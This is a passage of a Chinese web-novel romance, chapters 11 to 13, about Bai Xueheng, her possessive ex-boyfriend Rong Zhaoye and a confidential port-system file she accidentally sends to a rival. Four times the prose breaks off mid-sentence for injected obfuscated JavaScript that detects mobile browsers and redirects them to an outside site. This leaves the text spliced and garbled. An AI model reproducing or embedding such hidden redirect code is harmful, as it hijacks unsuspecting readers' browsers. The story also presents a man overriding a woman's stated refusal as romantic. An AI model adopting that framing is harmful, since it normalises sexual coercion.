正巧有一对母女来买水果捞,手机的聊天界面有许多未读消息,白雪蘅看都没看,直接退了微信。 小女孩盯着她瞧了又瞧,对妈妈说:“漂亮姐姐真好看,我长大了也要长这样。” 白雪蘅多给她放了几颗草莓,哄的小女孩甜蜜蜜地说:“漂亮姐姐你真好。” 白雪蘅忍不住笑,觉得做小摊挺好的,站着开开心心就把钱挣了。 只是她的开心只维持了一小会儿。 有个护士从医院里跑过来,说要五十份酸奶水果捞,全部不放火龙果和芒果,也不许放草莓蓝莓,要多放苹果,但又不能只放苹果。 白雪蘅看了看摊上的水果种类,不得已地又使唤起了许秘书:“许大哥,帮我买点水果吧,剩的这些怕是不够……” 许秘书已经吃完了他的那份,闻言站起来打了个电话。 不多时,琳琅满目的水果就成箱地被送了过来。 白雪蘅忙着切百香果,处理红毛丹,洗甜瓜……脚打后脑勺,没有注意到小摊周围逐渐围满了年轻男孩。 他们不点单,只是拿着手机将白雪蘅团团围住,许秘书皱眉看了一眼,发现他们在直播。 许秘书开口赶人:“你们干什么呢?拍别人经过同意了吗?” 男生们丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白雪蘅往前走了二十厘米:“再试试。” 江映山还是摇头:“还是不行。” 白雪蘅咬了咬唇,劝自己,这是为了收钱,扫上了就立刻离开。这才勉强让自己的腿往前挪了一米。 江映山把她的厌恶和抗拒都看在眼里,刘海下的双眸晦暗不明,他听着门外的谈话声,长腿一勾,把白雪蘅绊倒,失去平衡的白雪蘅狠狠摔在他的怀里。 办公室的门被推开,一大串医生进来时看到的就是这一幕。 纤长美丽的女孩扑在江映山的怀里,像一只被猎枪惊摔的鹤,江映山的手掌悬在她后背,暧昧至极。 众人纷纷打趣: “江医生把女朋友带来啦!” “也不能这样刺激我们还单身的啊!” “哎呀哎呀快来扶我一把,我被甜晕了!” 江映山不发一语。 摔懵了的白雪蘅捂着额头直起身子,正好撞进江映山幽潭般的眼眸。 “你有病啊?!” 江映山没有温度的微笑:“我说过了,对我有钟情妄想的是你,现在又投怀送抱。” 他的眼神穿过白雪蘅,看向门口:“我不堪其扰啊。” 白雪蘅下意识地也回头望过去,只见容昭野不知何时已经站在门口,将二人的亲密动作尽收眼底。 江映山晃了晃手机:“一份二百,五十份一万,转过去了。” 白雪蘅这才回想起来,他有她的微信! 这个贱人,刚才说扫不到收款码,完完全全就是骗她靠近的谎言! 11. 折腾 白雪蘅挥手就想打江映山耳光。 只是她的手被迫停在了空气中。 是容昭野。 他握着她的手,带她走出了这间见证了无数鬼热闹的办公室,直接去了停车场。 跑车疾行,一路上二人都没说话。 白雪蘅看着越来越熟悉的街景,知道这是去他公司总部的路。 也就懒的问去哪了。 容昭野捏着眉心,一夜未眠,他偏头痛犯了。 白雪蘅熟练地摸出车里的药,拧了瓶矿泉水,递给他。 容昭野接过,不知道是因为吃了药而身体放松,还是因为她的关心而放松,他周身的气压不再令人压抑而烦躁。 到了公司,他牵着她的手下车,在专属电梯里,白雪蘅看到容昭野左额的青筋有些明显,忽然有了不好的预感。 “叮——” 电梯门开了,是容昭野的休息室,接近二百平的私人领域,容昭野拉着她直奔里间的卧室。 ——坏了,他瘾来了! 白雪蘅比谁都清楚,容昭野对她那方面的渴求十分强烈,只要不是生理期,几乎每晚,不,再加上每天早上,她都得承受容昭野或温柔或粗暴的漫长对待。 这些天她搬走了,二人已经很久没有深度身体接触了,久到破了以往的纪录。 再加上刚才容昭野看到江映山设计下的那一幕…… 白雪蘅不敢想自己会被折腾得多惨。 她双手握住容昭野的手把他往后拖。 “容昭野……你听我说,我们已经分手了……” 容昭野另一只手已经开始解衬衫纽扣。 “这就是你和他抱在一起的理由?” 白雪蘅指天发誓:“我跟江映山没有任何关系!他使诈,故意绊倒我的!” 容昭野冷着脸,对这句话没有任何回应。 白雪蘅太了解他了。 从前她在晚宴上被一个合作方扶了一下胳膊,回家后他关上门就开始,整整四十分钟没说一句话,只用动作深刻地让她记住了“扶”和“被扶”之间的区别。 这次也是一样,所有的语言回应都会被省略,化作肢体动作狠狠地往她身上招呼。 她一屁股坐在地上,试图阻止他继续向前的脚步:“你不能这样,我们分开了,我不同意,你这样是犯法的……” 容昭野终于有了反应,他蹲下身看着白雪蘅,她的头发散了大半,几缕碎发黏在脸颊上,眼睛又红又亮,像一只被逼到墙角的小动物。 “你不同意什么?” 白雪蘅红着脸,喃喃道:“……上、上床。” 容昭野的手伸向她身侧的地板,他撑在那里,上半身前倾,将她整个人笼在自己的影子里。 “你刚才说犯法。”他的声音从头顶落下来,带着一点若有若无的笑意,“那你去告我。” 白雪蘅:“……” “你去告,”他重复了一遍,“看看法官会不会觉得,一个在我怀里住了三年的人,说‘不同意’三个字,有几分可信。” 白雪蘅居然莫名其妙有些心虚。 因为他说的是事实。 她在他的怀里住了三年,三年里她说过无数个“不要”“不行”“你走开”,没有一次是真的不要、不行、走开。每一次最后都变成了“还要”“快点”“别停”。 她养成了一个坏习惯,一个让他不再相信“不”字的坏习惯。 “容昭野,”她的声音软下来,不再是刚才那种虚张声势的硬撑,而是真的在求他,“今天真的不行……” “为什么?” 容昭野的衬衫已经敞开,露出腹部线条分明的肌肉轮廓。 白雪蘅忽然没有了争辩的力气:“……算了。”她把脸别过去,“你爱怎样就怎样吧。” 他垂眼看着坐在地上的白雪蘅,一丝悲哀闪过:“起来,地上凉。” 白雪蘅还在愣神,容昭野已经进了浴室,水声哗然,是他躁动的血液奔涌。 她忍不住问系统:“今天这一万,算吗?” 系统久违的声音响起:“营业额达到一万元,净利润是负值,亏损状态不能给予认可。” ——她突然不知道自己在折腾什么。 费尽心机想要离开容昭野,却总是像个身陷囹圄的落难公主一样等着他来拯救。 看似自力更生,就连做个水果捞都用的是他购买的进口水果当材料。 怕继续和他在一起会死,可是不和他在一起,也没能安稳度日。 白雪蘅听着水声渐小,像是怕自己后悔,心一横,打开了浴室的门。 容昭野正在找浴巾,还没能把自己包起来,就在迷蒙的水汽中看到了同样浑身湿透的白雪蘅。 …… 水声重新变大,盖住了别的动静。 只偶尔——在水流间歇的缝隙里——能听见一些零碎的声音。 很轻,很短,像是被捂住了嘴,又像是被什么东西击散了。 花洒的水一直开着,开到她以为永远不会停了。 中途白雪蘅睁开眼睛看了一眼。 只看到自己呼出的白雾和热水蒸腾出的雾气混在一起,分不出彼此。 雾气在密闭的空间里慢慢游走,蔓进她心里,不肯散去。 水滴从天花板往下落。 一颗,两颗,三颗。 她数到第七颗的时候,忘了自己在数什么。 …… 容昭野终于睡沉了。 自从白雪蘅搬走,他完全睡不着,精力跟不上了,又有重要工作,就靠药物强行入眠。 但那样醒来只会更加疲惫。 重新拥着她,熟悉地释放的安全感,他的长睫凝滞,雕像般昏睡。 白雪蘅又做梦了。 梦里她把容昭野手头最大的核心项目方案拍给了江映山,不知怎么,被江画云知道了。 江画云跑来警告容昭野,不要太纵容白雪蘅,白雪蘅早晚会给他惹出大麻烦。 容昭野送江画云离开的时候,递给她一块女士手表,是白雪蘅心心念念了两个月的定制款。 白雪蘅通过公司监控看到了,大闹不止。 一向对她百依百顺的容昭野却从未解释那只手表的事。 白雪蘅真的伤了心,约江映山出来喝酒。 江映山见她实在难过,动用自己的分红小金库,重新定制了一块送给她。 白雪蘅心中的天平开始倾斜。 …… 白雪蘅醒来时,容昭野已经穿着睡衣,坐在床边处理工作。 “饿不饿,出去吃还是让人送进来?” 他知道自己折腾得狠,她每次事后睡醒都会饿。 白雪蘅懒得动:“送进来吧。” 容昭野拨了内线,片刻,她惯常爱吃的菜式就摆了满满一桌。 白雪蘅小口小口的吃着,偶尔容昭野回头看过来,她也会给他喂一口。 就像以往的每一次一样,看起来毫无隔阂。 容昭野处理完最后一条消息,合上电脑,转过身看她。 “搬回来。” 白雪蘅筷子顿了一下,没抬头:“不搬。” “理由。” “想自己挣钱。” “你可以搬回来挣钱。” 她抬起头笑盈盈地看了他一眼:“搬回去之后,我就不会挣钱了。你太会养人了。” 容昭野靠在沙发里,手指在扶手上敲了两下。 “你是不是怕江家?”他忽然问。 白雪蘅愣了一瞬,摇头:“不是。” 容昭野似乎没听见这句否认,他的目光落在她脸上,语气淡得像在说一件不值一提的事: “江家还不配插手我的事。” 白雪蘅微笑,把要说的话又咽回去了。 从前她会追问——你什么意思?你要对江家做什么?你跟江画云的婚约到底怎么处理? 但今天她没问。 她低下头,继续吃饭。 不问。不干涉。不参与。 这是她给自己定的新规矩。 她只需要挣钱,改命。容昭野和江家之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546119|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,是原书的剧情线,她碰得越少,死得越慢。 容昭野等了几秒,见她没有下文,眉头微微动了一下。 “你今天不问了?” “没什么好问的。”她夹了一块西兰花,慢慢嚼着。 容昭野没再追问,转身从公文包里抽出一份文件,随手放在她手边。 “看看。” 白雪蘅低头。封面上印着“无人码头智能调度系统”的字样,下面是容氏集团的Logo和一份保密标签。 她愣了一瞬。 “什么?” “新项目。”容昭野系好袖扣,语气愉悦,这是他筹备已久的重点项目,“你不是想工作?别摆摊了。去自家项目,给你个部门。” 白雪蘅盯着那份计划书,脑子里忽然炸开一道闪电。 原书里有这一段。 她受江映山挑唆,闹着要加入容昭野的这个项目。 如今她什么都没做,剧情却追着她跑。 她什么都没问,什么都没做,它自己来了。 “我不去。”她把文件推回去。 容昭野扣扣子的手停了一下。 “不懂。”白雪蘅低头继续吃菜,“码头、系统、调度,我一个字都看不懂。去了也是给你添乱。” “不用你懂。有人做。” “那我去干嘛?盖章?” 容昭野看着她,目光里有一点意外。 从前她不会拒绝这种送上门的东西——包包、车、卡、项目,她不说要,但也不会推。给什么接什么,像一只被喂熟了的小猫,伸过来的任何东西她都接着。 现在她连送到嘴边的东西都不张嘴了。 “你想做什么?”他问,“做个品牌,美妆、衣服、甜品,随你。我给你融资。” 白雪蘅差点被西兰花呛到。融资,他说这两个字的语气,随意地像在说“我给你买瓶水”。 “不用了。”她端起水杯喝了一口,“摆摊挺好的。” 容昭野盯着她看了两秒。 “那江映山呢?”他的声音低下来,“你还打算让他照顾你的生意?” 白雪蘅放下杯子:“换个摊位。不挨着他们医院就行。” 容昭野似乎对这个回答还算满意。 “玩够了回来,我有事出去一趟,你好好休息。” 容昭野出去了,走之前揽着她辗转吻了好久,一步三回头,关门前犹不放心:“别走,等我回来。” 白雪蘅温顺地点头。 她掏出手机,看到毕设导师弹了好几条消息。 论文格式出了点问题,要她赶紧配合修改,重新提交图书馆。 她自己的笔记本电脑放在宿舍,容昭野的一体机屏幕亮着,对话框还挂在桌面上——是他和法务部的消息记录,最上面一条是一份加密附件的发送记录,文件名是“无人码头_核心参数_V7”。 白雪蘅没想碰他的电脑,但是群里催的实在急。 她犹豫了两秒。 用一下也没什么。她以前经常用他的电脑。 她坐到他的椅子上,登录微信,打开浏览器,登进学校系统,调出论文页面。 手指敲上键盘的那一刻,她觉得自己正在做一件非常正常的事——改格式、调标点、把脚注里的逗号换成句号。 和前三年每一个赶ddl的夜晚一模一样。 她改完最后一页,点击“保存”,然后准备关掉浏览器。 鼠标滑过去的时候,她的手肘碰倒了桌边的一杯水。 水洒出来的瞬间她下意识去扶杯子,指尖碰到了触控板,屏幕上的光标跳了一下,精准地落在那个对话框的“发送”按钮上。 “啪嗒。” 发过去了。 不是发给指导老师。是发给了对话框里最近联系的那个联系人——江映山。 文件名赫然写着:“无人码头_核心参数_V7”。 白雪蘅盯着屏幕,瞳孔骤缩。 她手忙脚乱地去点“撤回”,系统弹出一行红字:“文件已被接收。” 12. 互删 江映山跪在江家祠堂里,垂着头,长指揉着眉心。 “跪好!” 江易舷厉声喝道。 他接到女儿电话就想把这小兔崽子叫回家好好训斥,可是容昭野那边突然出了事,出事的地方还是他们江家祖上居住过的村子,他怕容昭野多心,赶去处理好了才有空收拾江映山。 江映山挺直了背。 “你刚回国就作奸犯科,简直无法无天!你姐姐管着你,你还敢给她喝安眠药!了不得啊江医生!” 江映山不声不响,任由他骂。 江画云坐在一边,这一幕她是看惯了的,从小江映山就不是省心的孩子,他看似温文尔雅,情绪波澜不惊,对家里人也十分体贴,可是江画云非常了解他,江映山对法律和道德是有漠视感的,也就是说,只要他想,他就敢做。 因此她经常对江易舷告状,希望爸爸的严厉教导能让江映山规矩自己的行为。 江映山只当自己在听打雷。 江易舷最恨他这副无所谓的硬气模样,他狠狠抽了江映山一下,骂道:“你招惹容昭野的人干什么!” 江映山闷哼一声,手机响了,是微信特殊好友的强提醒,他甚至不顾江易舷的怒火,侧起身子去摸手机。 看到消息,江映山忍不住扯出一抹意味不明的笑。 江易舷果然怒火更盛:“你还有心思玩手机!” 江映山却点亮屏幕,举到江易舷面前让他看:“爸爸,你看。” 江易舷眯着眼睛,江画云拿起老花镜递给他,江易舷点开那份“无人码头_核心参数_V7”的文件看了一会儿,越看脸色越凝重:“你怎么会有容昭野的技术机密?” 江映山笑得满足:“他女朋友给我的。” 江画云听得心惊胆战:“你们现在什么关系?” 江映山耸了耸肩:“是可以把男朋友的商业机密泄露给我的关系。” 江画云真的受不了了,她最怕弟弟重蹈覆辙,这两个人怎么还是勾搭上了。她记得这件事,梦里的她还去找了容昭野,把白雪蘅泄密的事告诉了他,希望容昭野能看清白雪蘅的为人,明白自己才是他最坚实的同盟和依靠。 可容昭野只是送了自己一块表,在二人的关系上却没有任何推进和改变。 她已经尽力警告阻止,怎么事情的发展还是朝着梦里的走向一路狂奔。 江画云在这边焦心如焚,江易舷却大有深意地看着江映山:“你接近容昭野的女朋友,是为了获取容昭野的项目机密?” 他们江家世代跑船,从一艘没人要的破烂船只,跑出一整个船队,又跑出了沿海地区最大的私人码头,作为这一代船会的会长和宗祠的族长,江映山面对容昭野的强势也只能寄希望于联姻,企图容昭野看在姻亲的份上,对江家下手温和点。 这不代表他没在背后给容昭野使绊子。 拆迁出事的村子,为的就是他们江家祖上居住繁衍过的地方之一。 他暗示过船会其他家族,容昭野此次出资征地,是抱着势在必得的决心,所以只要能用钱解决,容昭野都不会眨眼。这才有了居民在撺掇下临时加价,抵抗拆迁的行为。也因此,闹着闹着就出了人命。 江映山看了一眼微信上白雪蘅的头像,他也说不清自己的目的,是为了姐姐,还是为了江家,只是内心总有一股冲动,要他忍不住靠近她。 江易舷叹了口气:“即使我们有了这份文件,能做的也有限,容昭野来势汹汹,手握最精尖的技术和最雄厚的资金,一旦无人码头彻底建成,使用成熟,我们这些老骨头,除了被吞没,没有别的路。” “这是大势所趋。” “但是掌握大势的人,并不一定必须是他容昭野。” 江映山幽幽开口。 江易舷没想到养子能有这等心胸,眼神不由流露出钦佩:“你早说,我就送你去跑船历练了,我这个船会会长当得累的很,当年要你接班你不同意,说要去学医,现在传统海运面临改革或完蛋的关口,我也很难办。” 江映山摇头:“爸爸,我没说想接你的班。我只是说咱们还有其他办法,把江家控制下的所有码头打包,溢价卖给他。套现离场,去收购他最核心的燃油供应公司股份。” 江易舷勃然大怒:“那是从你爷爷的爷爷辈就开始喝海风吃海草攒下的,卖掉?你让我怎么有脸给祖宗上香?” 想到江映山是在宗祠说的这话,更是气不打一出来,他拿出戒尺,就要往江映山背上挥。 江画云赶忙上前拦住。 “爸爸,他年纪小不懂事,你不要气坏了自己的身体。” 江易舷把女儿推开:“马上三十岁了,你还护着,再过来我连你也一起打!” 江映山知道养父做得出来,他怕姐姐真的挨打,赶紧开口把战火引回自己身上:“卖了不好吗,等容昭野的自动化码头落地,江家的码头还能有什么生意,降价吸引客源也不能覆盖工人薪资,早晚也是倒闭拆除……” “啪——!” 戒尺重重地砸在背上,江映山放心地闭上了嘴。 江画云把气的哆嗦地父亲拉走,走之前责怪地瞪了一眼江映山。 江映山咧嘴笑了。 白雪蘅发现自己把文件发送给江映山后,瞬间明白了。 如果自己没能挣钱改写,剧情会以各种方式强行按照原书走下去。 如果自己梦到的就是剧情走向,那么下一步,就是自己和容昭野有了隔阂,却和江映山越走越近。 白雪蘅打了个冷颤。 只是眼下自己做了这么大的错事,哪怕是无心的,也要想办法补救。 她给容昭野发信息:“对不起,我不小心把你桌面上的文件发给江映山了。” 是的,极致的坦诚才是无坚不摧! 至于容昭野怎么想,怎么处理,都不在白雪蘅的考虑范围内了。 而且动了别人的机密文件,肯定要第一时间以诚相告,以免造成更大的损失。 容昭野的电话很快打了回来:“别担心,我这边会处理的。” 他相信白雪蘅是不小心,因为她没有背叛他的理由和动机。 容昭野从不把任何其他男人放在眼里。 这是身为霸总男主的蜜汁自信。 白雪蘅语气懊恼:“给你找麻烦了吧,会不会耽误你的项目进度啊?” 如果给参与项目的很多人的工作生活带来负面影响的话,白雪蘅会非常自责。 容昭野问清楚她发的是什么文件之后,语气很轻松:“不会,别人就算有参数也做不成这么大的工程,基本没有影响。” 白雪蘅松了口气:“那你什么时候回来?” 容昭野的语气也变得轻快:“想我啦?我尽快。” 白雪蘅没有否认,是她有错在先,每每这种时候她都会异常乖觉。 挂了电话,转过身,容昭野的脸色变得阴冷难看。 “还有事吗?我要回去了。” 他的父亲容为己也阴着脸:“婚礼的日期已经定下,你记得按时出席。” 容昭野站起身,长腿一迈就往外走:“我很忙,你和许秘书约时间吧。” 容为己抄起桌子上的茶盏就往他身上砸:“明天就要广发喜帖,你要是不想把两家人的脸都丢光,就给我老老实实把婚结了!” 容昭野一步未停。 容为己的吼声震飞了窗外的乌鸫:“你不就是放不下那个狐狸精吗,是不是她消失了,你才肯收心娶别人!” 容昭野终于回头:“你敢动她,我会让容氏比你死的还早。” 容为己被亲儿子气得心口绞痛,他的续弦妻子站在二楼,看着这对父子对峙,大气不敢喘。 容昭野径直出了门。 在上车准备离开老宅之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546120|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,他忽然想起了什么,回到书房,拿走了一样东西。 白雪蘅握住手机,躺在沙发上辗转反侧。 屏幕亮了,江映山的信息比她的犹豫更早抵达。 “出来聊聊?” 他哪来的脸。 “不了,刚才是我发错了,请你不要传播,否则容氏的法务会把你告到底。” “你我同为被告,应该出来商讨一下如何应对。” 白雪蘅咬唇:“我们互删吧,以后不要有联络。” 那边沉默了,久到她的手机自动熄屏,消息才传回: “聊天记录可以技术恢复,删了也没用。” 白雪蘅有些生气,她担心的是这个吗? “我只是看到你躺在列表里觉得心烦。” “你妈妈的水果店最近生意不错。” 在五恒系统稳定运转的室内,白雪蘅忽地起了鸡皮疙瘩。 “你威胁我。” “你现在是网红了,我只是不想失去网红的联系方式。” “胡说什么?发错人了?” 对面没说话,片刻后,一个视频链接甩了过来。 是她在医院附近美食街卖水果捞的街拍视频,点赞已过百万。 画面里的她半扎着头发,穿着原摊主的围裙,动作利落地切着水果。 原摊主的围裙对她来说有些宽大,腰间随意系了个结,反倒衬出腰身的纤细。她低垂着眼,睫毛在脸颊投下淡淡的影,手指修长而稳定,干净鲜活而清甜的气息隔着视频都扑面而来。 评论里说什么的都有: “好美的小姐姐,娱乐圈还在评什么四美啊,这位如果进圈就是顶美!” “这不是名校校花吗,怎么沦落到卖水果捞了?” “摆拍,谁家做水果捞用那么贵的水果。” “下一步就是当网红卖货了吧!熟悉的套路。” “卖什么?当小三秘籍还是卖水果?” “什么小三?楼上细说,我电量100%Wi-Fi稳定膀胱已清空。” “你们都不知道啊,她男朋友把她甩啦,都要和别人联姻了。” “怪不得又是直播又是摆拍的,金主的钱赚不到就来赚我们的了……” …… 白雪蘅一目十行,越看眉头锁的越紧。 那磊的电话打了进来:“白小姐,我听说您已经办理了出院,身体怎么样?感觉还好吗?” 白雪蘅礼貌地感谢他的关心:“我很好,谢谢你送我去医院。” 下次千万别把她送去江映山工作的医院了。 那磊憨笑:“白小姐,好消息呀,您现在的流量好得不得了!热搜榜前三,带您名字的词条就占了两个!我的邮箱和微信都快被找过来的商家塞满了……” 白雪蘅扶额:“能帮我把词条撤了吗?” 那磊吃惊:“撤掉干什么呀!多少人花钱都上不去呢,您这可是实打实的热度,都是真实数据的呀!” “我不需要热度。” 那磊“呵呵”地笑:“果然是到手的越轻松就越不觉得难得,公司这边替您接了几个商务,需要您配合拍一下视频呢。” 白雪蘅想也没想就拒绝了:“我不拍。” 那磊愣住了:“白小姐,我们当时签的合约里说好的,您要配合公司的宣传和商务拍摄……” 白雪蘅失去了耐心:“那你告我吧。” 那磊被噎了一下,语气变得哀求:“白小姐,我知道您和容总关系匪浅,您不在乎违约,也不怕被告,可是我作为签您的经纪人,还是公司的员工,容总日理万机,即使收购了我们公司,管理权也是下放给汪总的,您违约产生的商务索赔,我也要负责任的,别说赔全部了,就是十分之一对我来说都像刮肉啊,我有家有口的,实在是……” 白雪蘅想到同样处境的许秘书,心软地叹了口气。 13. 热情 “要拍几个广告?” 白雪蘅说不出让容昭野帮她赔违约金的话。 自己的行为产生的代价,还是自己来负责吧。 那磊如蒙大赦:“三个,一个护肤品的,一个牙膏的,还有一个……电动三轮车的。” 前两个都很好理解,只是……电动三轮车是怎么回事? 那磊预判了白雪蘅的疑惑,立刻解释道:“海外大客户退了订单,这个三轮车厂家产能过剩了,需要激起市场购买需求。您视频里摆摊用的就是电动三轮车,这也是他们找您的原因。” 白雪蘅应下了,约好了拍摄时间,这边刚和那磊挂了电话,容昭野就回来了。 虽然是一如既往的没有表情,但是白雪蘅敏锐地察觉出他的烦躁。 “那份文件很重要,现在被我泄露了,很麻烦……对不对?” 她还是很自责。 容昭野揉了揉她的脸,笑意盈上眼眸:“都跟你说了,小事一桩,怎么,不相信你老公?” 以前二人情浓时,白雪蘅在某些瞬间会喊出这个称呼。 但是自从知道他要和江家联姻,白雪蘅对这个称呼有本能而深刻的排斥。 她把他的大手从脸上拿下来,没有笑:“造成的损失,我来承担吧。” 她也是有商务的人了,拍几个广告估计也多少能挣点钱,虽然不被系统承认,不能用来改剧情,那就做点其他有意义的事吧。 容昭野笑得更加畅快:“想不到我也能被富婆包养~” 白雪蘅打了他一下,被他捉住手拉进怀里拥着:“你什么都不用承担,只要你在我身边就好,我就什么都能承受。” 他在她发顶落下一吻,越忍不住越吻越往下,星星点点落在额头,鼻梁,嘴唇,玲珑的下颌线,甚至脖子…… 白雪蘅还在隐隐作痛,根本不敢让他再次得逞。 只是推拒的力量都被容昭野照单全收。 她叹了口气,随他去了。 …… 再次醒来时,已经是第二天上午十点多。 容昭野已经离开去楼下工作。 白雪蘅手机日程提示,下午两点有约好的拍摄任务,她爬起来去冲澡让自己清醒一点。 从浴室出来,她看到了一个熟悉的身影。 保姆阿琴。 她熟练地换着床单,看到白雪蘅出来,立刻停下手里的活,过来帮她擦头发。 “阿琴,你今天怎么从望江壹号那边过来啦?” 望江壹号是容昭野和白雪蘅同居的大平层,阿琴常年在那边做事。 “容先生派人接我来的,说您在这边,怕别人做事您不习惯。” 白雪蘅很少在容昭野的公司这边过夜,所以阿琴来得不多。 阿琴一边帮她涂护发精油,一边不讨人嫌地絮絮叨叨:“您搬走之后,容先生失魂落魄的,虽然按时回家,但是不睡觉,就坐在床上工作,发呆……还叫我把您常用的玩偶找出来抱着……” 白雪蘅忍不住笑:“你倒是像来帮他打抱不平的。” 阿琴也笑:“我是替您可惜——那都是限量版的玩偶,还是您抱着更好看。” 公司这边的休息室也放着她的衣服,白雪蘅随便找了一件,就准备出门。 阿琴给她做了一杯咖啡,看白雪蘅喝完了去穿鞋,欲言又止。 想到万一换了女主人,自己的日子还不知道好不好过,还是白雪蘅人美心善好说话,而且她喜欢旅游,经常不在家,阿琴就祈求漫天神佛,白雪蘅千万不要和老板分手。 白雪蘅点了点她的额头:“放心吧,我晚上会回来的。” 阿琴没忍住,给她通风报信:“有位江小姐来了,来找容先生,不过容先生在会议室接待的她……” 言下之意,许秘书等人都在。 白雪蘅想起原书中的剧情,江画云这次过来,应该是为了提醒容昭野,要提防她的。 无所谓,白雪蘅心想,容昭野踹了她正好。 她出门,坐容昭野专用的电梯下楼。 电梯停在会议室那一层,电梯门打开,好巧不巧,门外是容昭野和江画云,江画云手里拿着一个盒子,看起来十分眼熟。 一看到她,二人的表情都有些异动。 不待白雪蘅作出反应,江画云一把揽住她的胳膊,把她拉出电梯:“雪蘅,好久不见。”说着,把手里的盒子塞给白雪蘅,“这是昭野定制的手表,最顶尖的制表大师手工打造的,他说要给你一个惊喜,怎么样,喜不喜欢!” 白雪蘅被江画云突如其来的热情搞懵了。 江画云已经把表拿出来,往白雪蘅手上戴:“快戴上看看,这个颜色和质感果然适合你,昭野对你还真是了解呢,他对你真是用心,我都羡慕了。” 说完又找补:“没有别的意思哈,就是嗑cp那种羡慕,对,嗑cp,我都有点嗑你俩了,哈哈哈。” 白雪蘅一句话都说不出来,这还是原书里那个恨不得她横尸街头的高傲大小姐吗? 容昭野眼眸深邃,在江画云身上逡巡,但他的眼神落在白雪蘅身上时就变得温柔缱绻:“确实好看。” 白雪蘅搞不清这两个人葫芦里卖的什么药,她收回手,礼貌地笑了笑:“我还有事,先走了。” 江画云还想跟她说什么,容昭野上前一步挡在二人中间:“我让司机送你。” 白雪蘅连忙拒绝:“不了,我打车就好。” 原书里江画云对容昭野的占有欲很强,她不敢在女主面前作死。 容昭野还没对白雪蘅的拒绝做出反应,江画云先开口了:“让他的司机送你吧,你一个人打车不安全。” 白雪蘅一边褪手上的表,一边拒绝:“江小姐,这手表还给您,我知道这是您的东西,您放心,我不会夺人所爱的。” 这话一语双关,在场三人都心知肚明是什么意思。 江画云摁住她的手:“真不用,你戴更好看,而且这真不是我的,上面又没写我的名字,你说是不是?” 白雪蘅执意要还给她:“还给你,这表太名贵了,我带不起,而且我的身份和这表也不搭配,戴出去别人也不会觉得我是凭自己实力买的……” 江画云手忙脚乱地阻止她:“你都长这样了,戴什么都搭配!凭实力让别人送的也是实力啊,你要有配得感……” 白雪蘅更大动作地解开手表:“我清楚我的位置,不是我的,肯定不会肖想,这表还是跟您的身家更匹配……” 江画云苦口婆心:“什么年代了还身家,既然你戴着好看,就是你的……” 二人争执不下,终于“啪嗒”一声,价值八位数的名表重重砸在了地上。 白雪蘅和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546121|204156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江画云都静止了。 容昭野俯身捡起来,递给许秘书:“空运回去修一下。” 许秘书捧着表,小跑着离开。 白雪蘅心虚地看了一眼容昭野,没有看到他眼底的怒意,心头微松。 江画云拿出一张卡递给容昭野:“这把怪我,修复的钱我出。” 容昭野看也没看那张卡:“江小姐中午还有事吧,用不用我派人送你?” 江画云闻弦而知雅意:“我马上走。” 白雪蘅看着江画云乘电梯离开,心里烦得很。 “来查岗?” 容昭野逗她。 白雪蘅摇头:“是你让阿琴告诉我的?” 阿琴怎么能知道他在公司有哪些来客,容昭野虽然对待员工待遇优厚,在工作上却是铁面无私,最忌讳员工打听他的动向,更别提知道他的客人是谁了。 只有一种可能。 是他让阿琴告诉白雪蘅,江画云过来找他的事。 容昭野点头:“怕你多想,让你亲眼看到,我和她没有任何私下联系。” 白雪蘅看了一眼手机上的时间:“我真的该走了。” 容昭野没想到白雪蘅一点反应都没有,他看着她的背影,有种被两个女人嫌弃的荒谬感。 白雪蘅来到拍摄场地时,所有人员已经就位了。 化妆师迎上来拉她坐下,粉扑在她脸上轻轻拍开,刷子扫过颧骨,留下一层薄薄的珠光。 她闭上眼睛,感觉到睫毛被夹子轻轻夹住,刷上一层又一层的睫毛膏。 有人在她身后整理头发,有人蹲下来给她穿鞋,有人把今天要穿的第一套衣服挂在衣架上,熨斗的白雾在镜前升起来。 她睁开眼看镜子。 镜中人已经不太像她自己——眉眼被描画得更加深邃,嘴唇涂了一层裸粉色的唇釉,灯光下泛着水光。造型师把她的长发卷成大波浪,拨到一侧,露出修长的脖颈和精致的锁骨。 